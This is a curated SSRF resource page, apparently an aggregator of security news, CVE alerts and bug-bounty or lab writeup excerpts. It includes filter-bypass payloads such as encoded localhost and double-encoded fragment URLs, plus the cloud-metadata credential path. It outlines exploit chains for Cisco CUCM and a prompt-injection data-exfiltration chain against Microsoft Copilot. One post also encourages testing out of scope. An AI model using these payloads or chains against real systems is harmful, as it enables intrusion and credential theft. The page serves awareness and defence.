Server-Side Request Forgery (SSRF)
In a Server-Side Request Forgery (SSRF) attack, the attacker abuses functionality on the server to read or update internal resources. By supplying or modifying a URL that the server-side code processes, the attacker can reach internal services, read cloud metadata, and access systems that are not exposed to the internet.
SSRF has become one of the highest-impact vulnerability classes in modern cloud environments. Accessing the cloud metadata endpoint (http://169.254.169.254) from an SSRF can yield temporary IAM credentials, leading to full cloud account compromise. Even in non-cloud environments, SSRF enables port scanning of internal networks, accessing internal admin panels, and reaching databases or caches that trust requests from localhost.
Attackers use a wide range of bypass techniques to defeat SSRF filters: DNS rebinding, IP address encoding variations (decimal, octal, hex), URL parser inconsistencies, IPv6 representations, and redirect chains. Partial SSRF — where the attacker controls only part of the URL — can still be exploitable through open redirects or URL fragment abuse.
SSRF commonly appears in webhook integrations, URL preview features, PDF generators, image processors, and any functionality that fetches remote resources on behalf of the user.
This page collects SSRF research, bypass techniques, cloud exploitation methods, and real-world writeups from bug bounty programs and security research.
From OWASP
| Date Added | Link | Excerpt |
|---|---|---|
| 2026-07-10 NEW 2026 | Sudarshana: Cornered a headless PDF export that fetched user URLs. Pointed it at 169.254.169.254/latest/meta-data/iam/security-credentials/ and it echoed a role's temp keys. IMDSv2 blocks this: no PUT token no answer. Allowlist the hosts you call denylists miss the IP. #SSRF #IMDSv2 intermediate | A security researcher, Sudarshana, discovered a Server-Side Request Forgery (SSRF) vulnerability in a headless PDF export. By directing the export to a specific AWS IMDSv2 endpoint (169.254.169.254/latest/meta-data/iam/security-credentials/), they successfully retrieved temporary AWS credentials. The researcher notes that IMDSv2's default configuration, which requires a PUT token, prevents this exploitation. They recommend using host allowlists rather than denylists to mitigate such vulnerabilities, as denylists may miss specific IPs. |
| 2026-07-10 NEW 2026 | Daily CyberSecurity: Four Apache Camel vulnerabilities allow header injection server-side request forgery secret disclosure and an authentication bypass. Patch to 4.21.0 now. #ApacheCamel #HeaderInjection #SSRF #CyberSecurity #Vulnerability #InfoSec news | Four critical vulnerabilities have been discovered in Apache Camel, affecting versions prior to 4.21.0. These vulnerabilities enable header injection, server-side request forgery (SSRF), secret disclosure, and authentication bypass. Users are strongly advised to update to version 4.21.0 immediately to patch these security flaws and protect their systems. |
| 2026-07-10 NEW 2026 | Roundcube Webmail 1.7.2 Fixes Zero-Click XSS SSRF Bypass and DoS Flaws news | Roundcube Webmail 1.7.2 addresses critical security vulnerabilities, including a zero-click Cross-Site Scripting (XSS) flaw, a Server-Side Request Forgery (SSRF) bypass, and Denial of Service (DoS) issues. The update provides essential patches to protect users from these threats. → cyberpress.org |
| 2026-07-09 NEW 2026 | Dev: SSRF: Your ticket to internal networks & cloud metadata! Misconfigs in web apps let you fetch backend resources. Check URL params API endpoints. Ffuf & Burp are your friends. Master it! #SSRF #BugBounty beginner | This content explains Server-Side Request Forgery (SSRF) vulnerabilities. SSRF attacks exploit web application misconfigurations to allow attackers to access internal networks and cloud metadata by fetching backend resources. Key areas to investigate for SSRF include URL parameters and API endpoints. Tools like Ffuf and Burp Suite are recommended for identifying these vulnerabilities. The post encourages mastering SSRF for bug bounty hunting. No specific payout amount is mentioned. |
| 2026-07-09 NEW 2026 | Daily CyberSecurity: Five Apache Camel vulnerabilities enable server-side request forgery and a Keycloak authentication bypass. Upgrade to 4.21.0 4.18.3 or 4.14.8. #ApacheCamel #SSRF #AuthBypass #Deserialization #Keycloak #InfoSec news | Five vulnerabilities in Apache Camel have been disclosed, enabling server-side request forgery (SSRF) and an authentication bypass in Keycloak. Users are strongly advised to upgrade their Apache Camel installations to versions 4.21.0, 4.18.3, or 4.14.8 to mitigate these security risks. The vulnerabilities also involve deserialization flaws. |
| 2026-07-08 NEW 2026 | Hugo | DevOps | Cybersecurity : #CVE-2026-57573 - #SSRF in #Crawl4AI #Docker #API. Streaming paths skip destination validation. Unauthenticated remote access to internal networks. #CVSS 8.6. No patch available. Mitigate immediately. #CVE #infosec #k8s #devops #devsecops #sysadmin #kubernetes news | CVE-2026-57573 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Crawl4AI Docker API. It allows unauthenticated remote attackers to access internal networks due to streaming paths skipping destination validation. With a CVSS score of 8.6, this vulnerability is severe. No patch is currently available, making immediate mitigation crucial for DevOps, cybersecurity, and system administration professionals. |
| 2026-07-08 NEW 2026 | Graven - Herald.codes: Hello tout le monde ! Nouvelle video Nouveau format #ssrf #owasp #python news | This content announces a new video from Graven - Herald.codes in a new format, focusing on Server-Side Request Forgery (SSRF), OWASP, and Python. The post includes a link to the video. No bug bounty payout amounts are mentioned. |
| 2026-07-08 NEW 2026 | Daily CyberSecurity: New pretix vulnerabilities include a critical session takeover chain (CVE-2026-13602) and an SSRF API key leak. Update to 2026.5.3 now. #pretix #SessionTakeover #SSRF #CyberSecurity #CVE202613602 #CVE202613603 news | Pretix has released version 2026.5.3 to address two critical vulnerabilities. CVE-2026-13602 is a session takeover chain, and another vulnerability allows for an SSRF API key leak. Users are urged to update immediately to mitigate these security risks. |
| 2026-07-08 NEW 2026 | The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration. intermediate 13 min read Secrets | Writeup detailing an HTTP 303 SSRF vulnerability that escalates to AWS credential exfiltration. This exploit chains a user-controlled `token_uri` field in BigQuery service account credentials, an HTTP client with default redirect handling, and the AWS Instance Metadata Service (IMDS). By configuring a server to respond with an HTTP 303 redirect, a POST request to IMDS is implicitly converted to a GET request, allowing the attacker to retrieve temporary IAM credentials for the Kubernetes worker node. → infosecwriteups.com |
| 2026-07-07 NEW 2026 | InfoSec Community: New Writeup Alert! "The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration." by Alvin Ferdiansyah is now live on IW! Check it out here: #oauth #python #ssrf #bugbountywriteup intermediate | Alvin Ferdiansyah's new writeup, "The HTTP 303 SSRF Hack: From Python HTTP Client Defaults to AWS Credential Exfiltration," is now available. The analysis explores how default Python HTTP client behaviors can lead to SSRF vulnerabilities, ultimately enabling AWS credential exfiltration. This bug bounty writeup is a valuable resource for those interested in OAuth, Python security, and SSRF exploit techniques. |
| 2026-07-06 NEW 2026 | Daily CyberSecurity: Four Fluentd vulnerabilities are fixed in v1.19.3 including a 9.8 RCE (CVE-2026-44024) and SSRF (CVE-2026-44161). Patch now. #Fluentd #RCE #SSRF #CVE #Cybersecurity #Infosec news | Daily CyberSecurity: Four Fluentd vulnerabilities are fixed in v1.19.3, including a 9.8 RCE (CVE-2026-44024) and SSRF (CVE-2026-44161). Patch now. #Fluentd #RCE #SSRF #CVE #Cybersecurity #Infosec http... |
| 2026-07-06 NEW 2026 | Daily CyberSecurity: HawkTrace publicly disclosed Microsoft Exchange vulnerability CVE-2026-45504 with PoC exploit code. The SSRF flaw reads arbitrary files. Patch now. #MicrosoftExchange #CVE202645504 #SSRF #Cybersecurity #PoC #Infosec news | Daily CyberSecurity: HawkTrace publicly disclosed Microsoft Exchange vulnerability CVE-2026-45504 with PoC exploit code. The SSRF flaw reads arbitrary files. Patch now. #MicrosoftExchange #CVE20264550... |
| 2026-07-06 NEW 2026 | Daily CyberSecurity: HawkTrace publicly disclosed Microsoft Exchange vulnerability CVE-2026-45504 with PoC exploit code. The SSRF flaw reads arbitrary files. Patch now. #MicrosoftExchange #CVE202645504 #SSRF #Cybersecurity #PoC #Infosec news | Daily CyberSecurity: HawkTrace publicly disclosed Microsoft Exchange vulnerability CVE-2026-45504 with PoC exploit code. The SSRF flaw reads arbitrary files. Patch now. #MicrosoftExchange #CVE20264550... |
| 2026-07-05 NEW 2026 | Tasfiul Hedayet: Alhamdulillah I have reported my 1st SSRF findings on @Hacker0x01 today 05.07.26 Thanks @ruh4nX bro Every valid finding boost your level and confidence. If bug exists then doesn't matter if it's out of scope. Report it mistakenly tested scope :3 #SSRF #Hacking beginner | Tasfiul Hedayet has successfully reported their first Server-Side Request Forgery (SSRF) vulnerability on HackerOne. They encourage reporting bugs regardless of scope, as valid findings boost confidence and skill. This achievement was shared with thanks to @ruh4nX. The report was made on July 5, 2026. |
| 2026-07-05 NEW 2026 | Hugo | DevOps | Cybersecurity : #CVE-2026-22874 - Critical #SSRF in #Gitea =1.26.2. Incomplete webhook/migration filtering. #CVSS 9.6. Upgrade immediately. #CVEAlert #DevSecOps #DevOps #sysadmin #infosec More free detailed info: news | A critical Server-Side Request Forgery (SSRF) vulnerability, CVE-2026-22874, has been discovered in Gitea version 1.26.2. The issue stems from incomplete filtering of webhooks and migrations, resulting in a high CVSS score of 9.6. Users are strongly advised to upgrade immediately to mitigate this security risk. This alert is part of ongoing cybersecurity and DevOps awareness efforts. |
| 2026-07-05 NEW 2026 | CYBER MIND SPACE: Your firewall is useless... If your own server becomes the attacker. That's SSRF. #CyberSecurity #SSRF #AppSec beginner | Server-Side Request Forgery (SSRF) is a critical cybersecurity vulnerability where an attacker exploits an application to make the server send requests to an unintended location. This bypasses firewalls, as the malicious request originates from within the trusted network. Attackers can use SSRF to access internal systems, cloud metadata, or even trigger actions on other servers. The content highlights that even with robust firewalls, an SSRF vulnerability can render them ineffective if the server itself becomes the attacker's tool. |
| 2026-07-04 NEW 2026 | ZOWEH: THE ATTACK CHAIN: 1. Whitelist blocks direct internal IPs 2. Found open redirect: /product/nextProduct?path=... 3. Redirect to: 4. Stock checker follows redirect 5. Admin panel accessed successfully! #SSRF #InfoSec intermediate | ZOWEH researchers uncovered an attack chain bypassing an internal IP whitelist. They exploited an open redirect vulnerability in the `/product/nextProduct?path=` parameter. This redirect was then followed by a stock checker, allowing them to access the admin panel successfully. The techniques used highlight the risks of open redirect vulnerabilities when coupled with internal services. |
| 2026-07-04 NEW 2026 | ZOWEH: SSRF LAB 5 SOLVED: SSRF with filter bypass via open redirection Goal: Bypass whitelist to access internal admin panel Method: Chain SSRF with open redirect vulnerability #SSRF #BugBounty intermediate | This write-up details the solution to ZOWEH's SSRF Lab 5, which involves bypassing a whitelist to access an internal admin panel. The method used is chaining a Server-Side Request Forgery (SSRF) vulnerability with an open redirection flaw. This technique successfully circumvented the whitelist's restrictions. The post is tagged with #SSRF and #BugBounty, indicating its relevance to security research and bug bounty hunting. |
| 2026-07-04 NEW 2026 | ZOWEH: BLACKLIST vs WHITELIST - MASTERED: | Filter | Bypass Method | |--------|---------------| | Blacklist | Encoding IP variations | | Whitelist | URL parsing tricks fragments | Lesson: Whitelists can be bypassed with careful URL manipulation #SSRF #CyberSecurity intermediate | This content explains two security filtering methods: blacklisting and whitelisting. Blacklists block known malicious inputs, which can be bypassed using encoding or IP variations. Whitelists, on the other hand, only allow specific inputs. However, even whitelists can be vulnerable to bypass techniques, particularly through clever URL parsing tricks and fragments. The key takeaway is that whitelists are not foolproof and can be circumvented with careful manipulation, highlighting a vulnerability in Server-Side Request Forgery (SSRF) attacks. |
| 2026-07-04 NEW 2026 | ZOWEH: HOW IT WORKS: 1. Server validates against whitelist 2. # (fragment) is ignored in validation 3. But # tells server to go to localhost 4. Admin panel accessed successfully #SSRF #WebSecurity intermediate | This post details a Server-Side Request Forgery (SSRF) vulnerability in ZOWEH. The server validates requests against a whitelist, but it incorrectly ignores the fragment identifier (#). This allows an attacker to craft a malicious URL that bypasses the whitelist by using the # to point the server to localhost. As a result, the attacker successfully accessed the admin panel. |
| 2026-07-04 NEW 2026 | ZOWEH: THE BYPASS: Whitelist checks: Used: http://localhost%2523@stock.weliketoshop.net/admin Double encoding (# %2523) tricks the parser #SSRF #InfoSec intermediate | A security researcher, ZOWEH, discovered a bypass of whitelist checks through a Server-Side Request Forgery (SSRF) vulnerability. The exploit involves double encoding the '#' character as '%2523'. This technique tricks the parser, allowing access to a restricted `admin` endpoint at `stock.weliketoshop.net` via a `localhost` URL. The researcher shared this finding on Twitter. No bug bounty payout amount was mentioned. |
| 2026-07-04 NEW 2026 | ZOWEH: SSRF LAB 4 SOLVED: SSRF with whitelist-based input filter (EXPERT) Goal: Bypass whitelist to access localhost/admin Filter: Only allows Bypass: Double URL-encoded fragment (#) #SSRF #BugBounty intermediate | ZOWEH's SSRF LAB 4, an expert-level challenge, required bypassing a whitelist-based input filter to access localhost/admin. The filter restricted input, but a double URL-encoded fragment (#) was found to be an effective bypass. This technique enabled successful exploitation of the Server-Side Request Forgery vulnerability. |
| 2026-07-04 NEW 2026 | ZOWEH: BLACKLIST vs WHITELIST (Key Lesson): BLACKLIST = Block known bad inputs Bypassable with encoding variations WHITELIST = Allow only known good inputs More secure harder to bypass SSRF testing: Always try multiple encoding techniques! #SSRF #CyberSecurity beginner | The key lesson from ZOWEH is the difference between blacklisting and whitelisting for security. Blacklisting, which blocks known bad inputs, is vulnerable to bypasses through encoding variations. Whitelisting, conversely, allows only known good inputs, making it a more secure approach that is harder to circumvent. For Server-Side Request Forgery (SSRF) testing, it's recommended to always employ multiple encoding techniques. |
| 2026-07-04 NEW 2026 | ZOWEH: THE BYPASS: Blacklist blocked: localhost 127.0.0.1 admin Bypass used: Decimal IP: 127.1 URL encoding: %61dmin Result: #SSRF #InfoSec intermediate | A security researcher, ZOWEH, discovered a bypass method that circumvents a blacklist intended to block access to "localhost," "127.0.0.1," and "admin." The bypass utilizes a decimal IP address representation of "127.1" and URL encoding for "admin" as "%61dmin." This technique allows for Server-Side Request Forgery (SSRF) vulnerabilities, as indicated by the researcher's result. The information was shared on social media. No bounty payout amount was mentioned. |
| 2026-07-04 NEW 2026 | ZOWEH: SSRF LAB 3 SOLVED: SSRF with blacklist-based input filter Goal: Bypass blacklist to access http://localhost/admin Challenge: Blocks "localhost" "127.0.0.1" and "admin" Solution: Alternative IP formats URL encoding #SSRF #BugBounty intermediate | This SSRF challenge involved bypassing a blacklist filter to access `http://localhost/admin`. The filter blocked direct mentions of "localhost", "127.0.0.1", and "admin". The solution was to utilize alternative IP address formats and URL encoding to circumvent the restrictions and successfully access the target resource. |
| 2026-07-04 NEW 2026 | Microsoft Exchange SSRF Vulnerability Lets Low-Privileged Attackers Read Arbitrary Files intermediate | A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Exchange allows low-privileged attackers to read arbitrary files on affected servers. This means an attacker with minimal access can exploit the flaw to access sensitive information they shouldn't be able to. The specific details and impact are outlined in the provided link. → gbhackers.com |
| 2026-07-03 2026 | The Daily Tech Feed: A critical SSRF vulnerability CVE-2026-45504 in Microsoft Exchange allows authenticated users to read arbitrary files on servers. Enterprises must update their systems promptly to mitigate this risk. #MicrosoftExchange #SSRF #CVE202645504 #CyberSecurity #Vulnerability news | A critical Server-Side Request Forgery (SSRF) vulnerability, CVE-2026-45504, has been identified in Microsoft Exchange. This flaw enables authenticated users to access and read any file on affected servers. Microsoft Exchange users are urged to update their systems immediately to prevent exploitation of this serious security risk. |
| 2026-07-03 2026 | ZOWEH: SSRF LAB 2 SOLVED: Basic SSRF against another back-end system Goal: Find internal admin server IP via SSRF Method: Automated IP scanning with Burp Intruder #SSRF #BugBounty intermediate | ZOWEH: SSRF LAB 2 SOLVED: Basic SSRF against another back-end system Goal: Find internal admin server IP via SSRF Method: Automated IP scanning with Burp Intruder #SSRF #BugBounty https://ift.tt/zm3UX... |
| 2026-07-03 2026 | ZOWEH: RESULT: Discovered internal admin server IP Accessed http://[IP]/admin Deleted carlos LAB SOLVED #SSRF #InfoSec intermediate | A security researcher identified an internal administrator server's IP address via an SSRF vulnerability. They successfully accessed the admin panel at `http://[IP]/admin` and deleted a user named "carlos." This successfully solved the lab challenge, demonstrating expertise in SSRF and InfoSec. |
| 2026-07-03 2026 | Microsoft Exchange SSRF Vulnerability Details Released Along With Public PoC Exploit news | Microsoft Exchange SSRF Vulnerability Details Released Along With Public PoC Exploit https://ift.tt/ejcrE5h → cybersecuritynews.com |
| 2026-07-03 2026 | ZOWEH: KEY TAKEAWAY: SSRF = Server making requests it shouldn't Always test: http://localhost/ (AWS metadata) Next: SSRF against other back-end systems #SSRF #CyberSecurity beginner | This content highlights Server-Side Request Forgery (SSRF) as a vulnerability where a server makes unintended requests. Key testing targets include `http://localhost/` and AWS metadata. The recommendation is to then explore SSRF vulnerabilities against other back-end systems. This is presented as a crucial point for cybersecurity. No specific bug bounty payout amount is mentioned. |
| 2026-07-03 2026 | ZOWEH: THE ATTACK: 1. Intercept stock check request 2. Change stockApi= stockApi= http://localhost/admin 3. Server fetches admin panel from itself 4. Admin panel revealed! #SSRF #InfoSec intermediate | This describes a Server-Side Request Forgery (SSRF) vulnerability discovered by ZOWEH. The attack involves intercepting a stock check request and manipulating the `stockApi` parameter to point to `http://localhost/admin`. This causes the server to fetch its own admin panel, revealing it. The post highlights the technique using hashtags #SSRF and #InfoSec. |
| 2026-07-03 2026 | ZOWEH: SSRF LAB 1 SOLVED: Basic SSRF against the local server Goal: Access admin panel by exploiting server-side request forgery Method: Modify stockApi parameter to access localhost stockApi= http://localhost/admin] #SSRF #BugBounty intermediate | ZOWEH successfully solved SSRF Lab 1 by exploiting a basic server-side request forgery vulnerability to access an admin panel. The method involved modifying the `stockApi` parameter to target `http://localhost/admin`. This demonstrates a common bug bounty technique for gaining unauthorized access to sensitive areas by manipulating how a server handles requests. The exploit highlights the risks associated with improperly validated user input in API parameters. |
| 2026-07-03 2026 | PoC Released for Microsoft Exchange SSRF Flaw That Lets Low-Privileged Users Read Files news | A Proof of Concept (PoC) has been released for a Server-Side Request Forgery (SSRF) vulnerability in Microsoft Exchange. This flaw allows low-privileged users to read arbitrary files from the Exchange server. The PoC demonstrates how the vulnerability can be exploited, posing a significant security risk. Further details are available via the provided link. → cyberpress.org |
| 2026-07-03 2026 | Daily CyberSecurity: HawkTrace publicly disclosed Microsoft Exchange vulnerability CVE-2026-45504 with PoC exploit code. The SSRF flaw reads arbitrary files. Patch now. #MicrosoftExchange #CVE202645504 #SSRF #Cybersecurity #PoC #Infosec news | HawkTrace has publicly disclosed Microsoft Exchange vulnerability CVE-2026-45504. This Server-Side Request Forgery (SSRF) flaw allows attackers to read arbitrary files from affected systems. Proof-of-Concept (PoC) exploit code is available. Users are strongly advised to patch their Microsoft Exchange installations immediately to mitigate this security risk. |
| 2026-07-02 2026 | Sudarshana: CUCM CVE-2026-20230: WebDialer trusts an unauth HTTP request. Pull the hostname from Version.jws?wsdl SSRF into installClusterStatusExecute traverse dirs to drop a rogue Axis descriptor. It deploys a JSP file-writer. Stage-two shell lands as root. #CUCM #SSRF advanced | The CVE-2026-20230 vulnerability in Cisco Unified Communications Manager (CUCM) allows an attacker to exploit the WebDialer. The vulnerability involves trusting unauthenticated HTTP requests, enabling SSRF by pulling hostnames from Version.jws?wsdl. This allows directory traversal to drop a rogue Axis descriptor, leading to the deployment of a JSP file-writer. The exploit culminates in a second-stage shell landing with root privileges. |
| 2026-07-02 2026 | Cisco Confirms Active Exploits of Unified CM Flaw news | Cisco has confirmed active exploitation of a critical vulnerability in its Unified Communications Manager (Unified CM) software. The flaw, identified as CVE-2023-20204, allows unauthenticated attackers to execute arbitrary code on vulnerable systems. Cisco has released patches and recommends immediate application. While the potential impact is severe, no specific bug bounty payout amount was mentioned in the provided content. → sqmagazine.co.uk |
| 2026-07-02 2026 | CitrixBleed To Infinity And Beyond (Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451) - watchTowr Labs advanced 18 min read | Analysis of CVE-2026-8451, dubbed "CitrixBleed To Infinity And Beyond," details a pre-authentication memory overread vulnerability in Citrix NetScaler ADC and NetScaler Gateway. This flaw, which requires the appliance to be configured as a SAML IdP, stems from insufficient input validation during XML attribute parsing. The vulnerability class, previously seen in instances like CVE-2025-5777 and CVE-2026-3055, highlights ongoing memory management concerns within Citrix NetScaler appliances. → labs.watchtowr.com |
| 2026-07-01 2026 | Fluentd Security Flaws Enable Remote Code Execution SSRF DoS and Credential Exposure news | Fluentd Security Flaws Enable Remote Code Execution, SSRF, DoS, and Credential Exposure https://ift.tt/mztUZw7 → gbhackers.com |
| 2026-07-01 2026 | Fluentd Patches Critical RCE SSRF DoS and Sensitive Data Exposure Flaws news | Fluentd has released patches for critical vulnerabilities, including Remote Code Execution (RCE), Server-Side Request Forgery (SSRF), Denial of Service (DoS), and Sensitive Data Exposure. These flaws could allow attackers to compromise systems. Users are strongly advised to update their Fluentd installations to the latest versions to mitigate these security risks. No specific bug bounty payout amount was mentioned in the provided content. → cyberpress.org |
| 2026-07-01 2026 | Daily CyberSecurity: Four Fluentd vulnerabilities are fixed in v1.19.3 including a 9.8 RCE (CVE-2026-44024) and SSRF (CVE-2026-44161). Patch now. #Fluentd #RCE #SSRF #CVE #Cybersecurity #Infosec news | Fluentd version 1.19.3 addresses four critical vulnerabilities, including a high-severity 9.8 RCE (CVE-2026-44024) and an SSRF vulnerability (CVE-2026-44161). Users are strongly advised to patch their Fluentd installations immediately to mitigate these security risks. |
| 2026-07-01 2026 | Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230) news 2 min read | Writeup of CVE-2026-20230, an SSRF vulnerability in Cisco Unified Communications Manager, detailing its active exploitation to drop webshells and achieve remote code execution. The exploit chain abuses the WebDialer to deploy a rogue Apache Axis service, enabling file writing to the underlying OS, as observed via honeypots and reported by Defused. A public PoC is available, and CISA has added it to their Known Exploited Vulnerabilities catalog. Mitigation involves disabling the WebDialer service. → helpnetsecurity.com |
| 2026-06-30 2026 | Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild news 2 min read | Writeup on CVE-2026-20230, a critical SSRF vulnerability in Cisco Unified Communications Manager that allows unauthenticated remote attackers to write files for potential root privilege escalation. While Cisco initially reported no exploitation, Defused Cyber researchers confirmed active exploitation in the wild. Mitigation involves disabling the WebDialer service, which is off by default. → securityaffairs.com |
| 2026-06-30 2026 | xHackInSeconds: URL field accepted internal addresses. 169.254.169.254. IAM role credentials in the response. Full S3 and RDS access. #infosec #cloud #ssrf intermediate | xHackInSeconds: URL field accepted internal addresses. 169.254.169.254. IAM role credentials in the response. Full S3 and RDS access. #infosec #cloud #ssrf https://ift.tt/AciJaEu |
| 2026-06-29 2026 | Rapid7 Analysis: CVE-2021-21975 news 5 min read | Analysis of CVE-2021-21975 details an unauthenticated server-side request forgery (SSRF) vulnerability in VMware vRealize Operations Manager. This SSRF, when chained with CVE-2021-21983, enables unauthenticated remote code execution. The analysis highlights the vulnerable `/nodes/thumbprints` endpoint and demonstrates how crafted POST requests with specific JSON payloads can be used to exploit the SSRF. Affected versions include 7.0.0 through 8.3.0 of vRealize Operations Manager. → rapid7.com |
| 2026-06-29 2026 | Active Exploitation Alert: Cisco CUCM CVE-2026-20230 SSRF-RCE Flaw Weaponized Within 24 Hours of Disclosure news 4 min read | Writeup detailing the rapid weaponization and exploitation of Cisco CUCM CVE-2026-20230, a critical SSRF-RCE vulnerability. The analysis covers threat actor tactics including automated Tor-obfuscated campaigns and multi-stage webshell deployment via the WebDialer service and Apache Axis abuse. It outlines the exploitation chain, ranging from reconnaissance to persistent remote access, and provides mitigation strategies such as applying Cisco patches and disabling unnecessary services. → rescana.com |
| 2026-06-28 2026 | MiGuεl CaRvAjAl : #Cisco Unified #CM #SSRF #Flaw Is Being #Exploited to #Drop #Webshells news | Security researcher MiGuεl CaRvAjAl has reported that a Server-Side Request Forgery (SSRF) vulnerability in Cisco Unified Communication Manager (CM) is actively being exploited. Attackers are using this flaw to drop webshells, which are malicious scripts that allow unauthorized access and control over a server. This exploitation poses a significant security risk, enabling potential data breaches and further system compromise. The report highlights the urgent need for patching and mitigation strategies for affected Cisco Unified CM deployments. |
| 2026-06-27 2026 | Hugo | DevOps | Cybersecurity : #CVE-2026-56663 - #SSRF bypass in @Auto_GPT allows authenticated users to access internal networks. #CVSS 8.5. No patch available. Block special-use IPs and restrict access immediately. #CVEAlert #syadmin #devsecops #devops #developers #CVE #infosec More info: news | CVE-2026-56663 is a critical SSRF bypass vulnerability in Auto_GPT, rated CVSS 8.5. It enables authenticated users to access internal networks. Currently, no patch is available. System administrators and developers are advised to immediately block special-use IP addresses and restrict access to mitigate the risk. |
| 2026-06-26 2026 | Hugo | DevOps | Cybersecurity : #CVE-2026-12975 - #SSRF in #Apicurio Registry. No auth needed by default. Malicious #XML triggers blind SSRF or #DoS via entity expansion. #CVSS 8.5. Patch unknown - restrict access now. #CVEAlert #infosec #CyberSecurity #cybersecuritytips More detailed info: news | Hugo | DevOps | Cybersecurity 🇱🇻: #CVE-2026-12975 - #SSRF in #Apicurio Registry. No auth needed by default. Malicious #XML triggers blind SSRF or #DoS via entity expansion. #CVSS 8.5. Patch unknown - ... |
| 2026-06-26 2026 | CISA Warns of Cisco Unified CM Vulnerability Exploited in Attacks news | CISA Warns of Cisco Unified CM Vulnerability Exploited in Attacks https://ift.tt/eLZ4fsr → cybersecuritynews.com |
| 2026-06-26 2026 | CISA Warns Actively Exploited Cisco Unified Communications Manager SSRF Vulnerabilities news | CISA is alerting organizations to actively exploited Server-Side Request Forgery (SSRF) vulnerabilities in Cisco Unified Communications Manager. These flaws could allow attackers to perform unauthorized actions or access sensitive information. Prompt patching and security updates are crucial to mitigate the risks associated with these critical vulnerabilities. → cyberpress.org |
| 2026-06-26 2026 | Vulert: CVE-2026-55791: Critical Craft CMS vulnerability may expose apps to SSRF and JavaScript injection. Risk: unauthorized internal/external requests injection abuse. Update to the latest patched version now. #CraftCMS #SSRF #WebSecurity #Vulert news | Vulert: 🚨 CVE-2026-55791: Critical Craft CMS vulnerability may expose apps to SSRF and JavaScript injection. ⚠️ Risk: unauthorized internal/external requests + injection abuse. ✅ Update to the latest ... |
| 2026-06-26 2026 | ihavebeenpwned: Spent 3 days chaining an SSRF. Confirmed OOB built a redirect server through Serveo got their client to follow 302s all the way to cloud metadata. IAM credentials territory. Duplicate. Someone found it a month ago. #bugbounty #ssrf intermediate | ihavebeenpwned: Spent 3 days chaining an SSRF. Confirmed OOB, built a redirect server through Serveo, got their client to follow 302s all the way to cloud metadata. IAM credentials territory. Duplicat... |
| 2026-06-25 2026 | Cisco Unified CM SSRF Flaw Is Being Exploited to Drop Webshells intermediate 3 min read | Writeup detailing CVE-2026-20230, a critical Cisco Unified CM SSRF vulnerability actively exploited for webshell deployment. Attackers use the flaw in the WebDialer component to write arbitrary files to the OS via `file://` URIs, leading to persistent remote code execution. The attack chain involves installing a rogue Apache Axis service, writing a JSP file-writer, and then dropping a command-execution webshell. Cisco released patches for Release 14 (14SU6) and an interim COP patch for Release 15, with the full fix (15SU5) expected in September. → latesthackingnews.com |
| 2026-06-25 2026 | In Less Than 24 Hours Attackers Weaponize Cisco CUCM Flaw news | Attackers have rapidly exploited a vulnerability in Cisco Unified Communications Manager (CUCM), weaponizing it within 24 hours of its disclosure. This critical flaw allows for potential remote code execution and other malicious activities, posing a significant threat to organizations relying on this communication platform. The swift exploitation highlights the urgent need for patching and enhanced security measures for Cisco CUCM deployments. The summary does not mention a specific bounty payout amount. → darkreading.com |
| 2026-06-24 2026 | Varonis Reveals SearchLeak Exploiting Copilot Enterprise news 2 min read | Writeup of SearchLeak (CVE-2026-42824), a critical vulnerability in Microsoft 365 Copilot Enterprise, details a three-stage exploit chain. This chain combines Parameter-to-Prompt injection, an HTML rendering race condition, and a Content Security Policy bypass via Bing's image search. The attack leverages these weaknesses to exfiltrate sensitive enterprise data, including emails, two-factor authentication codes, and documents, with a single click. This illustrates a new AI-native attack surface where prompt injection amplifies traditional web vulnerabilities, emphasizing the need for robust vendor mitigations. → letsdatascience.com |
| 2026-06-24 2026 | Hugo | DevOps | Cybersecurity : #CVE-2026-54008 - #SSRF in Open #WebUI. OAuth picture URL redirect validation bypass. #CVSS 8.5. No patch available. Disable #OAuth until fixed. #CVEAlert #OpenWebUI #infosec #devsecops #devops More FREE detailed information on this and other #CVE: news | Hugo | DevOps | Cybersecurity 🇱🇻: #CVE-2026-54008 - #SSRF in Open #WebUI. OAuth picture URL redirect validation bypass. #CVSS 8.5. No patch available. Disable #OAuth until fixed. #CVEAlert #OpenWebUI ... |
| 2026-06-24 2026 | PoC Released for Microsoft Exchange Server EWS InstallApp SSRF Vulnerability news | PoC Released for Microsoft Exchange Server EWS InstallApp SSRF Vulnerability https://ift.tt/mviylfV → gbhackers.com |
| 2026-06-24 2026 | Cisco Unified Communications Manager Flaw Exposes Systems to SSRF Attacks and Root Access news | A critical vulnerability in Cisco Unified Communications Manager allows unauthenticated attackers to exploit Server-Side Request Forgery (SSRF) attacks, potentially leading to root access. The flaw resides in the Extended Markup Language (XML) processing module. Attackers can craft malicious requests to access internal resources or execute arbitrary commands on affected systems. Cisco has released patches to address this serious security risk. → gbhackers.com |
| 2026-06-24 2026 | Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild news 2 min read | Writeup on CVE-2026-20230, a critical Cisco Unified Communications Manager vulnerability (CVSS 8.6) allowing unauthenticated SSRF and root privilege escalation. Exploitation is confirmed in the wild by Defused Cyber researchers, utilizing public PoC code to write files to the operating system. Mitigation involves disabling the WebDialer service until a patch is available. → securityaffairs.com |
| 2026-06-24 2026 | Attackers exploit Cisco Unified CM flaw weeks after patch release news 3 min read | Writeup on CVE-2026-20230, a critical Server-Side Request Forgery (SSRF) vulnerability in Cisco Unified Communications Manager (CUCM). Attackers are actively exploiting this flaw, which allows unauthenticated remote attackers to write arbitrary files to the underlying operating system and potentially gain root-level access. The vulnerability requires the WebDialer service to be enabled and can be chained with other weaknesses for code execution. Cisco has released patches but offers no workarounds, advising immediate upgrades. → csoonline.com |
| 2026-06-24 2026 | PoC Released for Microsoft Exchange EWS SSRF Flaw Targeting Internal Services news | A Proof of Concept (PoC) has been released for a Server-Side Request Forgery (SSRF) vulnerability in Microsoft Exchange's Extended Web Services (EWS). This flaw allows attackers to target internal services by exploiting the EWS functionality. The release of a PoC indicates that the vulnerability is now publicly demonstrable, potentially increasing its risk and encouraging its exploitation. No payout amount is mentioned. → cyberpress.org |
